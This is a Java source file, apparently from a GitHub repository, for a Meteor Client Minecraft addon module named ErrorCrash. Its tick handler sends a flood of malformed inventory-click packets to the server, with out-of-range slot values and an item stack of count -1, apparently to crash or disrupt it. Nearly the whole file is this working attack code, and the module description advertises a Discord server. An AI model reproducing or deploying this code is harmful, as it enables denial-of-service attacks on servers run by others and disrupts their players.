-
-
Notifications
You must be signed in to change notification settings - Fork 26
/
ErrorCrash.java
53 lines (46 loc) · 2.05 KB
/
ErrorCrash.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package widecat.meteorcrashaddon.modules;
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import it.unimi.dsi.fastutil.ints.Int2ObjectMap;
import meteordevelopment.meteorclient.events.game.GameLeftEvent;
import meteordevelopment.meteorclient.events.world.TickEvent;
import meteordevelopment.meteorclient.settings.BoolSetting;
import meteordevelopment.meteorclient.settings.IntSetting;
import meteordevelopment.meteorclient.settings.Setting;
import meteordevelopment.meteorclient.settings.SettingGroup;
import meteordevelopment.meteorclient.systems.modules.Module;
import meteordevelopment.orbit.EventHandler;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.minecraft.screen.slot.SlotActionType;
import widecat.meteorcrashaddon.CrashAddon;
public class ErrorCrash extends Module {
private final SettingGroup sgGeneral = settings.getDefaultGroup();
private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder()
.name("amount")
.description("Packets per tick")
.defaultValue(15)
.min(1)
.sliderMax(100)
.build());
private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder()
.name("auto-disable")
.description("Disables module on kick.")
.defaultValue(true)
.build());
public ErrorCrash() {
super(CrashAddon.CATEGORY, "error-crash", "i love discord.gg/g42rvX3c6s!!!!!");
}
@EventHandler
private void onTick(TickEvent.Post event) {
Int2ObjectMap<ItemStack> REAL = new Int2ObjectArrayMap<>();
REAL.put(0, new ItemStack(Items.RED_DYE, 1));
for (int i = 0; i < amount.get(); i++) {
mc.getNetworkHandler().sendPacket(new ClickSlotC2SPacket(mc.player.currentScreenHandler.syncId,123344, 2957234, 2859623, SlotActionType.PICKUP, new ItemStack(Items.AIR, -1), REAL));
}
}
@EventHandler
private void onGameLeft(GameLeftEvent event) {
if (autoDisable.get()) toggle();
}
}